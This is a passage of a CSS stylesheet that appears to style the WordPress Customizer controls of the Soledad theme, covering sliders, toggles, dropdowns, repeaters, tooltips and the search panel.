	line-height: 20px;
	display: block;
	text-transform: capitalize;
	width: 90%;
	overflow: hidden;
	height: 18px;
}
.customize-control-soledad-fw-repeater .repeater-row-remove {
	color: #a00;
}
.customize-control-soledad-fw-repeater .repeater-row-remove:hover {
	color: #f00;
}
.customize-control-soledad-fw-repeater .repeater-minimize {
	line-height: 36px;
}
.customize-control-soledad-fw-repeater .remove-button,
.customize-control-soledad-fw-repeater .upload-button {
	width: 48%;
}
.soledad-fw-image-attachment {
	margin: 0;
	text-align: center;
	margin-bottom: 10px;
}
.soledad-fw-image-attachment img {
	display: inline-block;
}
.soledad-fw-file-attachment {
	margin: 0;
	text-align: center;
	margin-bottom: 10px;
}
.soledad-fw-file-attachment .file {
	display: block;
	padding: 10px 5px;
	border: 1px dotted #c3c3c3;
	background: #f9f9f9;
}
.limit {
	padding: 3px;
	border-radius: 3px;
}
.limit.highlight {
	background: #D32F2F;
	color: #fff;
}
.selectize-control {
	position: relative;
}
.selectize-input {
	border-color: #d4d4d4;
	border-radius: 0;
	padding: 6px 12px;
	box-shadow: none;
}
.selectize-input.focus {
	box-shadow: none;
	border-color: #d4d4d4;
}
.selectize-control.single .selectize-input, .selectize-dropdown, .selectize-dropdown.single {
	border-color: #d4d4d4;
	border-radius: 0;
}
.customize-control .selectize-control.single .selectize-input {
	border-color: #d4d4d4;
	background: #fff;
	box-shadow: none;
	padding-right: 30px;
}
.selectize-control.single .selectize-input:after {
	font-family: dashicons;
	content: "\f347";
	color: #aaa;
	display: block;
	position: absolute;
	top: 0;
	right: 0;
	margin-top: 0;
	width: 30px;
	height: 36px;
	line-height: 36px;
	text-align: center;
	padding: 0;
	border: 0;
	border-left: 1px solid #e0e0e0;
}
.selectize-control.single .selectize-input.dropdown-active:after {
	content: "\f343";
	margin-top: -1px;
	border: 0;
	border-left: 1px solid #e0e0e0;
}
.selectize-dropdown {
	position: relative;
	top: -3px !important;
}
.selectize-dropdown .active {
	background: #e5efff !important;
}
.selectize-dropdown-content .selected {
	background: #f5f5f5 !important;
	color: #aaa !important;
}
.selectize-control.multi .selectize-input.has-items {
	padding: 1px 4px 4px;
}
.selectize-control.multi .selectize-input [data-value] {
	font-size: 12px;
	line-height: 16px;
	background: #0f69ff !important;
	border-radius: 2px;
	border: 1px solid rgba(0, 0, 0, 0.1);
	box-shadow: none !important;
	margin: 4px 4px 0 0;
}
.selectize-control.plugin-remove_button [data-value] .remove {
	background: rgba(0, 0, 0, 0.1);
	border-left: 0 !important;
}
/* fix dropdown overlap */
#customize-theme-controls .customize-pane-child.accordion-section-content {
	min-height: 100%;
}
.customize-control select {
	width: 100%;
	font-family: inherit;
	font-size: 13px;
	border-color: #d4d4d4;
	padding: 0 12px;
	height: 32px;
	margin: 0;
	-webkit-appearance: none;
	background: url(data:image/svg+xml;utf8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/Pgo8IS0tIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTYuMC4wLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgLS0+CjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iQ2FwYV8xIiB4PSIwcHgiIHk9IjBweCIgd2lkdGg9IjE2cHgiIGhlaWdodD0iMTZweCIgdmlld0JveD0iMCAwIDMwNiAzMDYiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDMwNiAzMDY7IiB4bWw6c3BhY2U9InByZXNlcnZlIj4KPGc+Cgk8ZyBpZD0iZXhwYW5kLW1vcmUiPgoJCTxwb2x5Z29uIHBvaW50cz0iMjcwLjMsNTguNjUgMTUzLDE3NS45NSAzNS43LDU4LjY1IDAsOTQuMzUgMTUzLDI0Ny4zNSAzMDYsOTQuMzUgICAiIGZpbGw9IiNhYWFhYWEiLz4KCTwvZz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8L3N2Zz4K) no-repeat 96% 50%;
	background-size: 10px;
	box-shadow: none;
}
.customize-control-soledad-fw-gradient input[type=range],
.customize-control-soledad-fw-slider input[type=range] {
	-webkit-appearance: none;
	-webkit-transition: background 0.3s;
	-moz-transition: background 0.3s;
	transition: background 0.3s;
	background-color: rgba(0, 0, 0, 0.1);
	height: 5px;
	width: calc(100% - 100px);
	padding: 0;
}
.customize-control-soledad-fw-gradient input[type=range]:focus,
.customize-control-soledad-fw-slider input[type=range]:focus {
	box-shadow: none;
	outline: none;
}
.customize-control-soledad-fw-gradient input[type=range]:focus,
.customize-control-soledad-fw-slider input[type=range]:hover {
	background-color: rgba(0, 0, 0, 0.25);
}
.customize-control-soledad-fw-gradient input[type=range]::-webkit-slider-thumb,
.customize-control-soledad-fw-slider input[type=range]::-webkit-slider-thumb {
	-webkit-appearance: none;
	width: 15px;
	height: 15px;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	background-color: #3498D9;
}
.customize-control-soledad-fw-gradient input[type=range]::-webkit-slider-thumb,
.customize-control-soledad-fw-slider input[type=range]::-webkit-slider-thumb {
	-webkit-appearance: none;
	width: 15px;
	height: 15px;
	border: none;
	border-radius: 50%;
	background-color: #3498D9;
}
.customize-control-soledad-fw-gradient input[type=range]::-moz-range-thumb,
.customize-control-soledad-fw-slider input[type=range]::-moz-range-thumb {
	width: 15px;
	height: 15px;
	border: none;
	border-radius: 50%;
	background-color: #3498D9;
}
.customize-control-soledad-fw-gradient input[type=range]::-ms-thumb,
.customize-control-soledad-fw-slider input[type=range]::-ms-thumb {
	width: 15px;
	height: 15px;
	border-radius: 50%;
	border: 0;
	background-color: #3498D9;
}
.customize-control-soledad-fw-gradient input[type=range]::-moz-range-track,
.customize-control-soledad-fw-slider input[type=range]::-moz-range-track {
	border: inherit;
	background: transparent;
}
.customize-control-soledad-fw-gradient input[type=range]::-ms-track,
.customize-control-soledad-fw-slider input[type=range]::-ms-track {
	border: inherit;
	color: transparent;
	background: transparent;
}
.customize-control-soledad-fw-gradient input[type=range]::-ms-fill-lower,
.customize-control-soledad-fw-gradient input[type=range]::-ms-fill-upper,
.customize-control-soledad-fw-slider input[type=range]::-ms-fill-lower,
.customize-control-soledad-fw-slider input[type=range]::-ms-fill-upper {
	background: transparent;
}
.customize-control-soledad-fw-gradient input[type=range]::-ms-tooltip,
.customize-control-soledad-fw-slider input[type=range]::-ms-tooltip {
	display: none;
}
.customize-control-soledad-fw-gradient .soledad_fw_range_value,
.customize-control-soledad-fw-slider .soledad_fw_range_value {
	display: inline-block;
	font-size: 14px;
	padding: 0 5px;
	font-weight: 400;
	position: relative;
	top: 2px;
}
.customize-control-soledad-fw-gradient .soledad-fw-slider-reset,
.customize-control-soledad-fw-slider .soledad-fw-slider-reset {
	color: rgba(0, 0, 0, 0.2);
	float: right;
	-webkit-transition: color 0.5s ease-in;
	-moz-transition: color 0.5s ease-in;
	-ms-transition: color 0.5s ease-in;
	-o-transition: color 0.5s ease-in;
	transition: color 0.5s ease-in;
}
.customize-control-soledad-fw-gradient .soledad-fw-slider-reset span,
.customize-control-soledad-fw-slider .soledad-fw-slider-reset span {
	font-size: 16px;
	line-height: 30px;
}
.customize-control-soledad-fw-gradient .soledad-fw-slider-reset:hover,
.customize-control-soledad-fw-slider .soledad-fw-slider-reset:hover {
	color: red;
}
.customize-control-soledad-fw-sortable ul.ui-sortable li {
	padding: 5px 10px;
	border: 1px solid #333;
	background: #fff;
}
.customize-control-soledad-fw-sortable ul.ui-sortable li .dashicons.dashicons-menu {
	float: right;
}
.customize-control-soledad-fw-sortable ul.ui-sortable li .dashicons.visibility {
	margin-right: 10px;
}
.customize-control-soledad-fw-sortable ul.ui-sortable li.invisible {
	color: #aaa;
	border: 1px dashed #aaa;
}
.customize-control-soledad-fw-sortable ul.ui-sortable li.invisible .dashicons.visibility {
	color: #aaa;
}
.customize-control-soledad-fw-spacing .wrapper {
	margin-top: 10px;
	padding: 14px;
	border: 1px solid #ddd;
}
.customize-control-soledad-fw-spacing .wrapper .control {
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
}
.customize-control-soledad-fw-spacing .wrapper .control > div {
	width: 47%;
}
.customize-control-soledad-fw-spacing .control > .top, .customize-control-soledad-fw-spacing .control > .bottom {
	margin-bottom: 10px;
}
.customize-control-soledad-fw-spacing .wrapper .control > div h5 {
	margin: 0 0 5px;
}
.customize-control-soledad-fw-spacing .wrapper .control > div .inner {
	display: flex;
}
.customize-control-soledad-fw-spacing .wrapper .control > div .inner input[type="number"] {
	width: 50%;
	height: 36px;
}
.customize-control-soledad-fw-spacing .wrapper .control > div .inner .selectize-control.single {
	width: 50%;
}
.customize-control-soledad-fw-spacing .wrapper .control > div .inner .selectize-control.single > .selectize-input {
	height: 36px;
}
.customize-control-soledad-fw-spacing .wrapper .input-wrapper .invalid-value {
	display: none;
	background: #D32F2F;
	font-size: 0.85em;
	color: #fff;
	float: left;
	padding: 2px 0;
	border-radius: 3px;
}
.customize-control-soledad-fw-spacing .wrapper .input-wrapper.invalid .invalid-value {
	display: block;
	width: 98%;
	text-align: center;
}
.customize-control-soledad-fw-spacing .wrapper .input-wrapper.invalid input[type="text"]:focus {
	border-color: #D32F2F;
}
.customize-control-soledad-fw-switch input[type="checkbox"] {
	display: none;
}
.customize-control-soledad-fw-switch .switch {
	border: none;
	margin-bottom: 1.5rem;
	outline: 0;
	padding: 0;
	position: relative;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;
}
.customize-control-soledad-fw-switch .switch label {
	background: rgba(0, 0, 0, 0.2);
	color: transparent;
	cursor: pointer;
	display: block;
	margin-bottom: 1rem;
	position: relative;
	transition: left 0.15s ease-out;
	height: 2rem;
	width: 4rem;
	font-family: Monaco, "Lucida Sans Typewriter", "Lucida Typewriter", "Courier New", Courier, monospace;
}
.customize-control-soledad-fw-switch .switch label:after {
	background: #FFFFFF;
	content: "";
	display: block;
	height: 1.5rem;
	left: 0.25rem;
	position: absolute;
	top: 0.25rem;
	width: 1.5rem;
	-webkit-transition: all 0.25s ease-in-out;
	-moz-transition: all 0.25s ease-in-out;
	-ms-transition: all 0.25s ease-in-out;
	-o-transition: all 0.25s ease-in-out;
	transition: all 0.25s ease-in-out;
}
.customize-control-soledad-fw-switch .switch input {
	left: 10px;
	opacity: 0;
	padding: 0;
	position: absolute;
	top: 9px;
}
.customize-control-soledad-fw-switch .switch input + label {
	margin-left: 0;
	margin-right: 0;
}
.customize-control-soledad-fw-switch .switch input:checked + label {
	background: #3498DB;
}
.customize-control-soledad-fw-switch .switch input:checked + label:after {
	left: 2.25rem;
	background: #ffffff;
}
.customize-control-soledad-fw-switch .switch.round {
	border-radius: 1000px;
}
.customize-control-soledad-fw-switch .switch.round label {
	border-radius: 2rem;
}
.customize-control-soledad-fw-switch .switch.round label:after {
	border-radius: 2rem;
}
.customize-control-soledad-fw-switch .switch-off,
.customize-control-soledad-fw-switch .switch-on {
	line-height: 32px;
	font-weight: bold;
	padding: 0 10px;
}
.customize-control-soledad-fw-switch .switch-on {
	color: #fff;
	padding-right: 5px;
}
.customize-control-soledad-fw-switch .switch-off {
	color: #777;
	padding-left: 5px;
}
.customize-control-soledad-fw-generic textarea {
	width: 100%;
	border: 1px solid rgba(0, 0, 0, 0.1);
	-webkit-box-shadow: none;
	box-shadow: none;
}
.customize-control-soledad-fw-toggle label {
	display: flex;
	flex-wrap: wrap;
}
.customize-control-soledad-fw-toggle label .customize-control-title {
	width: calc(100% - 55px);
	padding-right: 10px;
}
.customize-control-soledad-fw-toggle label .description {
	order: 99;
}
.customize-control-soledad-fw-toggle input[type="checkbox"] {
	display: none;
}
.customize-control-soledad-fw-toggle .switch {
	border: 1px solid rgba(0, 0, 0, 0.1);
	margin-top: 8px;
	display: inline-block;
	width: 35px;
	height: 10px;
	border-radius: 8px;
	background: #ebebeb;
	vertical-align: middle;
	position: relative;
	cursor: pointer;
	user-select: none;
	transition: background 350ms ease;
}
.customize-control-soledad-fw-toggle .switch:after {
	content: "";
	display: block;
	width: 16px;
	height: 16px;
	border-radius: 50%;
	position: absolute;
	top: 50%;
	left: -1px;
	transition: all 350ms cubic-bezier(0, 0.95, 0.38, 0.98), background 150ms ease;
}
.customize-control-soledad-fw-toggle .switch:after {
	background: #ccc;
	border: 1px solid rgba(0, 0, 0, 0.1);
	transform: translate3d(0, -50%, 0);
}
.customize-control-soledad-fw-toggle input:checked + .switch {
	background: #d4e4ff;
}
.customize-control-soledad-fw-toggle input:checked + .switch:after {
	background: #0f69ff;
	transform: translate3d(100%, -50%, 0);
}
.customize-control-soledad-fw-typography .wrapper,
.customize-control-soledad-fw-gradient .wrapper {
	margin-top: 10px;
	padding: 14px;
	border: 1px solid #ddd;
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
}
.customize-control-soledad-fw-typography .wrapper .color,
.customize-control-soledad-fw-typography .wrapper .font-family,
.customize-control-soledad-fw-typography .wrapper .font-size,
.customize-control-soledad-fw-typography .wrapper .letter-spacing,
.customize-control-soledad-fw-typography .wrapper .line-height,
.customize-control-soledad-fw-typography .wrapper .subsets,
.customize-control-soledad-fw-typography .wrapper .text-transform,
.customize-control-soledad-fw-typography .wrapper .variant,
.customize-control-soledad-fw-gradient .wrapper .color,
.customize-control-soledad-fw-gradient .wrapper .range {
	width: 100%;
	float: none;
	clear: both;
}
.customize-control-soledad-fw-typography .wrapper .font-family h5 {
	margin: 0 0 5px;
}
.customize-control-soledad-fw-typography .wrapper .color h5,
.customize-control-soledad-fw-typography .wrapper .font-size h5,
.customize-control-soledad-fw-typography .wrapper .letter-spacing h5,
.customize-control-soledad-fw-typography .wrapper .line-height h5,
.customize-control-soledad-fw-typography .wrapper .subsets h5,
.customize-control-soledad-fw-typography .wrapper .text-transform h5,
.customize-control-soledad-fw-typography .wrapper .variant h5,
.customize-control-soledad-fw-gradient .wrapper h5 {
	margin: 10px 0 5px;
}
.customize-control-soledad-fw-typography .wrapper .font-size,
.customize-control-soledad-fw-typography .wrapper .letter-spacing,
.customize-control-soledad-fw-typography .wrapper .line-height {
	width: 47%;
}
.customize-control-soledad-fw-typography .wrapper .text-align {
	width: 100%;
}
.customize-control-soledad-fw-typography .wrapper .text-align .dashicons {
	padding: 3px;
	font-size: 25px;
	width: 25px;
	height: 25px;
	border: 1px solid transparent;
}
.customize-control-soledad-fw-typography .wrapper .text-align input {
	display: none;
}
.customize-control-soledad-fw-typography .wrapper .text-align input:checked + label .dashicons {
	border: 1px solid #3498DB;
	color: #000;
}
.customize-control-soledad-fw-typography .wrapper .text-transform {
	padding-top: 10px;
}
.customize-control-soledad-fw-typography .wrapper .color {
	width: 100%;
}
.hint,
[data-hint] {
	position: relative;
	display: inline-block;
}
.hint:before,
.hint:after,
[data-hint]:before,
[data-hint]:after {
	position: absolute;
	-webkit-transform: translate3d(0, 0, 0);
	-moz-transform: translate3d(0, 0, 0);
	transform: translate3d(0, 0, 0);
	visibility: hidden;
	opacity: 0;
	z-index: 998;
	pointer-events: none;
	transition: 0.3s ease;
	transition-delay: 250ms;
}
.hint:hover:before,
.hint:hover:after,
.hint:focus:before,
.hint:focus:after,
[data-hint]:hover:before,
[data-hint]:hover:after,
[data-hint]:focus:before,
[data-hint]:focus:after {
	visibility: visible;
	opacity: 1;
}
.hint:hover:before,
.hint:hover:after,
[data-hint]:hover:before,
[data-hint]:hover:after {
	transition-delay: 0;
}
.hint:before,
[data-hint]:before {
	content: '';
	position: absolute;
	background: transparent;
	border: none;
	z-index: 999;
	width: 0;
	height: 0;
	border-top: 5px solid transparent;
	border-bottom: 5px solid transparent;
	border-left: 5px solid #333;
	left: -5px;
	top: 5px;
}
.hint:after,
[data-hint]:after {
	content: attr(data-hint);
	background: #333;
	color: white;
	padding: 5px 10px;
	font-size: 12px;
	line-height: 14px;
	height: auto;
	margin-bottom: -14px;
	width: 170px;
	max-width: 170px;
	display: block;
	white-space: normal;
	text-align: right;
	position: relative;
	top: -22px;
	left: -195px;
}
li.customize-control {
	position: relative;
}
li.customize-control a.tooltip.hint--left {
	display: block;
	position: absolute;
	top: 5px;
	right: -10px;
	border-radius: 50%;
	color: #999;
	border: none;
	line-height: 8px;
	width: 20px;
	height: 20px;
	z-index: 10;
}
.rtl li.customize-control a.tooltip.hint--left {
	right: auto;
	left: 0;
}
.rtl .hint:before,
.rtl [data-hint]:before {
	left: 20px;
	border-left: none;
	border-right: 5px solid #333;
}
.rtl .hint:after,
.rtl [data-hint]:after {
	left: 195px;
}
.customize-control-soledad-fw-select .select2-container {
	display: block;
}
.wp-customizer .select2-dropdown {
	z-index: 99999999;
}
.wp-customizer .select2-container--default .select2-selection--multiple {
	border-radius: 0;
}
.wp-customizer .select2-container--default .select2-selection--multiple .select2-selection__choice {
	padding: 0 5px;
	border-radius: 0;
	background-color: #3498DB;
	border: 1px solid #006f8d;
	color: #fff;
}
.wp-customizer .select2-container--default .select2-selection--multiple .select2-selection__choice__remove {
	color: #fff;
}
.wp-customizer .select2-container--default.select2-container--focus .select2-selection--multiple {
	border: solid 1px #006f8d;
	outline: 0;
}
.wp-customizer .select2-results__option {
	margin-bottom: 0;
}
.wp-customizer .select2-container--default .select2-selection--single {
	border-radius: 0;
}
.control-section-lazy .customize-control,
.control-section-default .customize-control,
.control-panel-default .customize-control {
	width: 100%;
	float: left;
	clear: both;
	margin-bottom: 0;
	margin-left: -15px;
	margin-right: -15px;
	padding: 10px 15px 20px 15px;
	background: #fff;
	border-bottom: 1px solid #ddd;
}
.customize-control.customize-control-soledad-fw-alert {
	padding: 0;
	margin: 0;
	background: transparent;
}
.customize-control .thumbnail-image {
	text-align: center;
}
#customize-controls img {
	max-width: 100%;
	width: auto;
}
.customize-lazy-section-loading {
	position: absolute;
	top: 0;
	bottom: 0;
	right: 0;
	left: 0;
	background: #eee;
	z-index: 5;
}
/** customize link section **/
.control-section-link .accordion-section-title {
	background-color: #3498DB !important;
	border-left-color: #006f8d;
	color: #fff !important;
	padding: 0
}
.control-section-link .accordion-section-title a {
	color: #fff;
	display: block;
	padding: 10px 10px 11px 14px;
	text-decoration: none
}
.control-section-link .accordion-section-title a:hover {
	background-color: #3498DB !important
}
.control-section-link .accordion-section-title:after {
	color: #fff !important
}
.control-section-link h3 a:after {
	color: #fff
}
/** customizer search **/
#customize-header-actions {
	position: relative;
}
.customizer-search-wrapper {
	background: #eee;
	z-index: 9;
	position: relative;
	padding: 15px;
	z-index: 9;
}
.customizer-search-wrapper .customizer-search-toggle {
	text-decoration: none;
	line-height: 30px;
	width: 45px;
	text-align: center;
	position: absolute;
	z-index: 10;
	outline: none;
	right: 10px;
	display: none;
}
.customizer-search-wrapper.active .customizer-search-toggle {
	display: block;
}
.customizer-search-result-wrapper .search-no-result {
	padding: 30px;
	text-align: center;
	font-size: 17px;
}
.customizer-search-result-wrapper .search-no-result p {
	font-size: inherit;
	line-height: 1.2;
}
.pccsz-help-buttons {
	display: flex;
	flex-direction: column;
	row-gap: 10px;
	margin-top: 60px;
	letter-spacing: -0.025rem;
}
.pccsz-help-buttons a {
	font-size: 13px;
	padding: 10px;
	background: #2e81ec;
	color: #fff;
	border-radius: 5px;
	font-weight: bold;
}
.pccsz-help-buttons a:last-child {
	background: #ff331e;
}
.customizer-search-wrapper .customizer-search-toggle:focus {
	box-shadow: none;
}
.customizer-search-wrapper .customizer-form-search input {
	width: 100%;
}
.customizer-search-result {
	position: absolute;
	top: 105px;
	width: 100%;
	left: 0;
	background: #fff;
	display: none;
	overflow: auto;
	z-index: 9;
}
.customizer-search-result ul {
	padding: 0;
	margin: 0;
}
.customizer-search-result li {
	padding: 15px 20px 15px;
	border-bottom: 1px solid #d8d8d8;
	margin: 0;
	line-height: normal;
	cursor: pointer;
}
.customizer-search-result li:hover {
	background: #eaeaea;
}
.customizer-search-result h3 {
	margin: 0;
	padding: 0;
	line-height: 1.5em;
}
.customizer-search-result span {
	font-size: 11px;
	display: block;
	margin-bottom: 2px;
}
.customizer-search-result em {
	margin-top: 1px;
	display: block;
	clear: both;
	font-size: 12px;
	font-style: normal;
}
.customizer-search-overlay {
	position: absolute;
	background: rgba(255, 255, 255, 0.8);
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 5;
	display: none;
}
.customizer-search-wrapper.active .customizer-form-search,
.customizer-search-result.active,
.customizer-search-overlay.active {
	display: block;
}
li.customize-control.customize-control-soledad-fw-header {
	background: #0f69ff;
	padding: 0 12px;
	margin: 15px -12px 0;
}
li.customize-control.customize-control-soledad-fw-header:nth-child(2) {
	margin-top: 0
}
h2.customize-control-title {
	font-size: 15px;
	color: #fff;
	font-weight: 400;
	margin: 0;
	padding: 8px 0;
}
#customize-controls .customize-control-soledad-fw-header .description {
	width: calc(100% - 32px);
	color: #eee;
}
#customize-controls .customize-control-soledad-fw-header .description a {
	color: #fff;
}
.customize-alert {
	width: 100%;
	float: left;
	clear: both;
	color: #5b5b5b;
	background-color: #ffffe8;
	border: 0;
	border-radius: 0;
	padding: 6px 12px;
	box-sizing: border-box;
	margin: 0 0 15px;
	font-size: 13px;
}
.customize-alert strong {
	font-size: 13px;
	font-weight: normal;
	line-height: 1.5;
}
.customize-alert.customize-alert-warning {
	color: #8a6d3b;
	background-color: #fcf8e3;
	border-color: #faebcc;
}
.customize-alert.customize-alert-success {
	color: #3c763d;
	background-color: #dff0d8;
	border-color: #d6e9c6;
}
.customize-alert.customize-alert-info {
	color: #31708f;
	background-color: #d9edf7;
	border-color: #bce8f1;
	margin-top: 15px;
}
.customize-alert.customize-alert-danger {
	color: #d21616;
	background-color: #ffe7e7;
	border-color: #d21616;
}
.customize-control-title {
	font-weight: 600;
}
.customize-control-soledad-fw-header:after {
	font-family: dashicons;
	content: "\f460";
	position: absolute;
	top: 0;
	bottom: 0;
	right: 0;
	font-size: 14px;
	width: 40px;
	cursor: pointer;
	vertical-align: middle;
	font-weight: normal;
	text-align: center;
	color: #fff;
	border-radius: 1px;
	padding: 0;
	background: rgba(255, 255, 255, 0.1);
	display: -moz-flex;
	display: -ms-flex;
	display: flex;
	align-items: center;
	justify-content: center;
}
.customize-control-soledad-fw-header {
	cursor: pointer;
}
.customize-control-soledad-fw-header.collapsed:after {
	content: "\f132";
}
.customizer-collapsed {
	display: none !important;
}
#customize-controls .description {
	color: #777;
	font-style: normal;
	font-size: 13px;
	font-weight: 400;
	word-wrap: break-word;
	line-height: 1.7em;
	margin-bottom: 10px;
}
.customize-control.first_child,
#customize-control-soledad_fw_single_post_date_format_custom {
	width: calc(100% - 18px);
	border-left: 20px solid rgba(0, 0, 0, 0.11);
	padding-left: 10px;
}
.customize-control-description ul {
}
.customize-control-description ul li {
	list-style-type: initial;
	margin-left: 20px;
}
.panel-customize-alert {
	display: block !important;
	float: none;
	margin: 20px;
	width: auto;
}
.panel-customize-alert.customize-alert .customize-control-title {
	font-size: 15px;
	margin-bottom: 10px;
	font-weight: bold;
}
#customize-controls .panel-customize-alert .description {
	color: #6e6161;
	font-style: normal;
	font-size: 13px;
	font-weight: 400;
	word-wrap: break-word;
}
.span-center {
	text-align: right;
	width: 100%;
	display: block;
	margin-top: 20px;
}
.customize-control .attachment-media-view {
	background: transparent;
}
/* Custom style */
#input_soledad_fw_single_blog_template img,
#input_soledad_fw_single_blog_layout img {
	width: 110px;
}
#accordion-panel-soledad_fw_disable_panel {
	display: block !important;
}
.soledad-fw-customizer-disable {
	position: relative;
	z-index: 999999;
	display: none;
}
.soledad-fw-customizer-overlay {
	-webkit-backface-visibility: hidden;
	position: fixed;
	background: rgba(0, 0, 0, 0.8);
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
}
.soledad-fw-customizer-disable-content {
	position: fixed;
	width: 400px;
	background: rgba(255, 255, 255, 0.2);
	left: 50%;
	margin-left: -205px;
	top: 50%;
	border-radius: 3px;
	padding: 10px;
	margin-top: -200px;
}
.soledad-fw-customizer-disable-content h2 {
	background: #fff;
	margin: 0;
	padding: 14px 12px;
	border-radius: 4px;
}
.soledad-fw-customizer-disable-content .soledad-fw-customizer-container {
	border-radius: 4px;
	background: #fff;
	margin-top: 10px;
	padding: 10px;
}
.soledad-fw-customizer-disable-content .soledad-fw-customizer-button {
	border: none;
	background: #f70d28;
	color: #fff;
	padding: 0 20px;
	line-height: 40px;
	height: 40px;
	display: inline-block;
	cursor: pointer;
	text-transform: uppercase;
	font-size: 12px;
	font-weight: bold;
	letter-spacing: 1px;
	outline: 0;
	-webkit-appearance: none;
	-webkit-transition: .3s ease;
	transition: .3s ease;
	width: 194px;
	margin-top: 10px;
	border-radius: 3px;
	float: left;
}
.soledad-fw-customizer-disable-content .soledad-fw-customizer-button.soledad-fw-customizer-cancel {
	margin-left: 8px;
	background: #fff;
	color: #000;
}
.soledad-fw-customizer-content-overlay {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background: rgba(0, 0, 0, 0.6);
	display: none;
}
.soledad-fw-customizer-content-overlay i {
	left: 50%;
	position: relative;
	margin-left: -30px;
	z-index: 2;
	color: #fff;
	top: 50%;
	margin-top: -30px;
}
.customize-control-soledad-fw-textarea textarea {
	width: 100%;
}
/*attachable customizer*/
.soledad-fw-btn-header-builder,
.soledad-fw-btn-attach {
	position: absolute;
	top: 0;
	right: 45px;
	width: 45px;
	height: 45px;
	padding: 0 2px 0 0;
	background: #eee;
	border: none;
	border-left: 1px solid #ddd;
	cursor: pointer;
	-webkit-transition: color .1s ease-in-out, background .1s ease-in-out;
	transition: color .1s ease-in-out, background .1s ease-in-out;
	-webkit-box-sizing: content-box;
	-moz-box-sizing: content-box;
	box-sizing: content-box;
	text-align: center;
}
.soledad-fw-btn-header-builder i,
.soledad-fw-btn-attach i {
	font-size: 16px;
}
.wp-full-overlay.attached {
	margin-left: 0 !important;
}
.attached .wp-full-overlay-footer,
.wp-core-ui .wp-full-overlay.attached .collapse-sidebar {
	position: absolute;
}
.attached #customize-controls {
	border: none;
	box-shadow: -1px 2px 10px 0px rgba(0, 0, 0, 0.15), 0 0 0 1px rgba(0, 0, 0, 0.05);
	-webkit-box-shadow: -1px 2px 10px 0px rgba(0, 0, 0, 0.15), 0 0 0 1px rgba(0, 0, 0, 0.05);
}
.attached .collapse-sidebar {
	display: none;
	visibility: hidden;
}
#customize-header-actions {
	padding-left: 0;
}
.attached .ui-resizable-s {
	cursor: ns-resize;
	height: 30px;
	width: 100%;
	bottom: -20px;
	left: 0;
}
.attached .ui-resizable-handle {
	position: absolute;
	font-size: 0.1px;
	display: block;
	-ms-touch-action: none;
	touch-action: none;
}
.soledad-fw-btn-attach,
.customizer-search-wrapper .customizer-search-toggle {
	color: #444;
	-webkit-transition: .15s ease-in-out;
	-moz-transition: .15s ease-in-out;
	-o-transition: .15s ease-in-out;
	transition: .15s ease-in-out;
	font-size: 14px;
}
.soledad-fw-btn-attach:hover,
.customizer-search-wrapper .customizer-search-toggle:hover {
	color: #0085ba;
}
.wp-full-overlay.attached,
.wp-full-overlay.attached .collapse-sidebar,
.wp-full-overlay.attached .wp-full-overlay-main,
.wp-full-overlay.attached .wp-full-overlay-sidebar {
	-webkit-transition: none !important;
	-moz-transition: none !important;
	-o-transition: none !important;
	transition: none !important;
}
.customize-section-description-container + #customize-control-custom_css:last-child {
	width: 100%;
}
/* #customize-controls .customize-info.is-sticky,
#customize-controls .customize-section-title.is-sticky {
  position: relative;
  top: auto;
}

#customize-controls .customize-section-title.is-in-view {
    top: 0 !important;
} */
/* repeater style */
.soledad-fw-repeater-wrapper {
	padding: 15px;
	border: 1px solid #e0e0e0;
}
.soledad-fw-repeater-wrapper .repeater-fields {
	margin: 0;
}
.soledad-fw-repeater-wrapper .repeater-row {
	border: 1px solid #e0e0e0;
	margin-bottom: 10px;
	position: relative;
}
.soledad-fw-repeater-wrapper .repeater-row.minimized {
	background: #f5f5f5;
	padding: 0;
}
.soledad-fw-repeater-wrapper .repeater-row-header {
	border-bottom: 1px solid #e0e0e0;
	position: relative;
	padding: 10px 15px 10px 35px;
	height: auto;
	min-height: 20px;
	line-height: 30px;
	overflow: hidden;
	word-wrap: break-word;
}
.soledad-fw-repeater-wrapper .repeater-row-label {
	font-size: 13px;
	font-weight: 600;
	line-height: 20px;
	display: block;
	text-transform: capitalize;
	width: 90%;
	overflow: hidden;
	height: 18px;
}
.repeater-row-label:before {
	content: "\f047";
	font-family: 'FontAwesome', Helvetica, Arial, sans-serif;
	position: absolute;
	left: 0;
	width: 40px;
	text-align: center;
	font-weight: normal;
	margin-right: 0.5em;
	color: #aaa;
	font-size: 14px;
	text-rendering: optimizeLegibility;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.soledad-fw-repeater-wrapper .repeater-row-header .dashicons {
	font-size: 18px;
	position: absolute;
	right: 12px;
	top: 2px;
	color: #a0a5aa;
}
.soledad-fw-repeater-wrapper .repeater-minimize {
	line-height: 36px;
}
